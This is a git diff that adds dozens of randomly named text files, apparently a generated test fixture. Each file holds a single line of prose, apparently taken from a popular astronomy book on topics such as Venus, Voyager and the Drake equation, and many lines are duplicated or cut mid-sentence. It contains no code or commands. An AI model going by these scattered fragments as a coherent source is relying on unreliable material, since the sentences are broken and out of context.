+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ruylxzvorcyfpkohd.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_sofsbksgmp.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_sofsbksgmp.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_sofsbksgmp.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_usvzdyqfepafhzmahqew.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_usvzdyqfepafhzmahqew.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_usvzdyqfepafhzmahqew.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_wsbiwhovelakfbfxs.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_wsbiwhovelakfbfxs.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_wsbiwhovelakfbfxs.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_xibyghgxnwkqlxfoguhvyrv.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_xibyghgxnwkqlxfoguhvyrv.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_xibyghgxnwkqlxfoguhvyrv.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_yumxrgoowlbipv.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_yumxrgoowlbipv.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_yumxrgoowlbipv.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/fdipaduebuonkfzrasabgp.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/fdipaduebuonkfzrasabgp.txt
new file mode 100644
index 0000000..b992648
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/fdipaduebuonkfzrasabgp.txt
@@ -0,0 +1 @@
+continue to breathe easy for a while. In any case, we can hope that they will find these
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_apgmnyzdjy.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_apgmnyzdjy.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_apgmnyzdjy.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ayqnsrzejmkpmekuatfwhax.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ayqnsrzejmkpmekuatfwhax.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ayqnsrzejmkpmekuatfwhax.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_dhqkuvgtkihcazhym.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_dhqkuvgtkihcazhym.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_dhqkuvgtkihcazhym.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ekfrgsitmwl.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ekfrgsitmwl.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ekfrgsitmwl.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_eppjjpsmrqdf.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_eppjjpsmrqdf.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_eppjjpsmrqdf.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_frnzelctngufv.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_frnzelctngufv.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_frnzelctngufv.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ipzxhyaljtaifhdu.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ipzxhyaljtaifhdu.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_ipzxhyaljtaifhdu.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_jgujrscvz.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_jgujrscvz.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_jgujrscvz.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_jxrtcucpvrpbbvotpayfkyse.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_jxrtcucpvrpbbvotpayfkyse.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_jxrtcucpvrpbbvotpayfkyse.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_lcxwvayguoitlhqrckmoqr.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_lcxwvayguoitlhqrckmoqr.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_lcxwvayguoitlhqrckmoqr.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_mjhlyupdfczcykkabjmeh.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_mjhlyupdfczcykkabjmeh.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_mjhlyupdfczcykkabjmeh.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_mquaqtonnvvp.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_mquaqtonnvvp.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_mquaqtonnvvp.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_pllerjjglb.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_pllerjjglb.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_pllerjjglb.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_qrjrcphurdbxp.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_qrjrcphurdbxp.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_qrjrcphurdbxp.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_rhwcrrmfzguorrehs.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_rhwcrrmfzguorrehs.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_rhwcrrmfzguorrehs.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_sisqenxeqhgkde.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_sisqenxeqhgkde.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_sisqenxeqhgkde.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_yymeloiesqven.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_yymeloiesqven.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_yymeloiesqven.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_yyrmjwoaibizdyqyac.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_yyrmjwoaibizdyqyac.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_yyrmjwoaibizdyqyac.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zeuoklhodlzfsomtmvumz.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zeuoklhodlzfsomtmvumz.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zeuoklhodlzfsomtmvumz.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zgmaqpevdfptnrzzoumpndo.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zgmaqpevdfptnrzzoumpndo.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zgmaqpevdfptnrzzoumpndo.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zksxjovbvxinwepcnac.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zksxjovbvxinwepcnac.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zksxjovbvxinwepcnac.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zyqrbeontuvyrnfpvrwbktut.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zyqrbeontuvyrnfpvrwbktut.txt
new file mode 100644
index 0000000..34445cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/file_zyqrbeontuvyrnfpvrwbktut.txt
@@ -0,0 +1 @@
+available to anyone who could read. Magic was everywhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/gwbxlljpydjs.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/gwbxlljpydjs.txt
new file mode 100644
index 0000000..c7ce764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/gwbxlljpydjs.txt
@@ -0,0 +1 @@
+has been in this way used up. The results depend on the initial conditions, particularly on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/hsgcdlxeutwwpazttpel.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/hsgcdlxeutwwpazttpel.txt
new file mode 100644
index 0000000..28711e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/hsgcdlxeutwwpazttpel.txt
@@ -0,0 +1 @@
+defend against attack are also used to monitor and command the spacecraft on the planetsand to listen for signals from civilizations near other stars. If we use these technologies to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/kbltrkyglhgavxpbkpoq.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/kbltrkyglhgavxpbkpoq.txt
new file mode 100644
index 0000000..bdedc70
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/kbltrkyglhgavxpbkpoq.txt
@@ -0,0 +1 @@
+water. We do not see solid surfaces here, only the atmosphere and the multicolored clouds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/kcdnqjwknjtnjbytnbqqwrbc.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/kcdnqjwknjtnjbytnbqqwrbc.txt
new file mode 100644
index 0000000..0869ad1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/kcdnqjwknjtnjbytnbqqwrbc.txt
@@ -0,0 +1 @@
+light-years away, it takes only 200 years to get from there to here at close to the speed of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/krrbcyhrgoovnn.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/krrbcyhrgoovnn.txt
new file mode 100644
index 0000000..0dddba9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/krrbcyhrgoovnn.txt
@@ -0,0 +1 @@
+If we live in such an oscillating universe, then the Big Bang is not the creation of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/mbvyxalkvhiyolexa.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/mbvyxalkvhiyolexa.txt
new file mode 100644
index 0000000..1516b51
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/mbvyxalkvhiyolexa.txt
@@ -0,0 +1 @@
+‘Then why are the clouds of Venus thicker than the clouds on Earth?’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/nbbdxszzbhzxfwnj.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/nbbdxszzbhzxfwnj.txt
new file mode 100644
index 0000000..6cc980c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/nbbdxszzbhzxfwnj.txt
@@ -0,0 +1 @@
+discovered by G. P. Kuiper. Ultraviolet light from the sun converts methane to more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/nrlmtrvgydhnywhbzc.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/nrlmtrvgydhnywhbzc.txt
new file mode 100644
index 0000000..c0ebfc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/nrlmtrvgydhnywhbzc.txt
@@ -0,0 +1 @@
+The Voyager message is traveling with agonizing slowness. The fastest object ever
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pdklkxhuqdlxzxibuzdczm.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pdklkxhuqdlxzxibuzdczm.txt
new file mode 100644
index 0000000..061bac0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pdklkxhuqdlxzxibuzdczm.txt
@@ -0,0 +1 @@
+between the Sun and the Earth. W. Napier and S. Clube have proposed that a number of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pxtxnlrsdp.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pxtxnlrsdp.txt
new file mode 100644
index 0000000..9ce1f92
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pxtxnlrsdp.txt
@@ -0,0 +1 @@
+through them, until Darwin and Wallace dispelled the darkness.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pyhwfzmtif.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pyhwfzmtif.txt
new file mode 100644
index 0000000..d3b7a23
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/pyhwfzmtif.txt
@@ -0,0 +1 @@
+student at the University of Chicago’s Yerkes Observatory. Alone in the observatory late
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/rkpnzqykctmnebeud.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/rkpnzqykctmnebeud.txt
new file mode 100644
index 0000000..8364664
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/rkpnzqykctmnebeud.txt
@@ -0,0 +1 @@
+major scar. But if the impacting object is larger or made primarily of rock, there is an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/tbqiccnonbzt.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/tbqiccnonbzt.txt
new file mode 100644
index 0000000..e4ca37d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/tbqiccnonbzt.txt
@@ -0,0 +1 @@
+man who had, independently of Newton, invented the differential and integral calculus. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/tcuheqorlkuyptm.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/tcuheqorlkuyptm.txt
new file mode 100644
index 0000000..bef61c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/tcuheqorlkuyptm.txt
@@ -0,0 +1 @@
+Born before Heaven and Earth.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/uyqietxiwd.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/uyqietxiwd.txt
new file mode 100644
index 0000000..a89bad1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/uyqietxiwd.txt
@@ -0,0 +1 @@
+where the pressures are about three million times the atmospheric pressure at the surface of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/vdgntebumxnwngdndwngrlu.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/vdgntebumxnwngdndwngrlu.txt
new file mode 100644
index 0000000..e660d74
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/vdgntebumxnwngdndwngrlu.txt
@@ -0,0 +1 @@
+poured new lifeblood into the ancient frame; the bonds burst, and the revivified
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/whetyjjsaypuqmj.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/whetyjjsaypuqmj.txt
new file mode 100644
index 0000000..0f0a75c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/whetyjjsaypuqmj.txt
@@ -0,0 +1 @@
+Cairo, following the course of the Nile, paying homage to the culture he had worked so
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/whoddxdentt.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/whoddxdentt.txt
new file mode 100644
index 0000000..2c6fcbf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/whoddxdentt.txt
@@ -0,0 +1 @@
+f l , the fraction of otherwise suitable planets on which life actually arises;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/xiicepxrbogmmevgizhn.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/xiicepxrbogmmevgizhn.txt
new file mode 100644
index 0000000..43161fa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/xiicepxrbogmmevgizhn.txt
@@ -0,0 +1 @@
+When we got home, few of our friends would be left to greet us. In principle, such a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/xvboxlurawyxmrhroadymrp.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/xvboxlurawyxmrhroadymrp.txt
new file mode 100644
index 0000000..5772f66
--- /dev/null
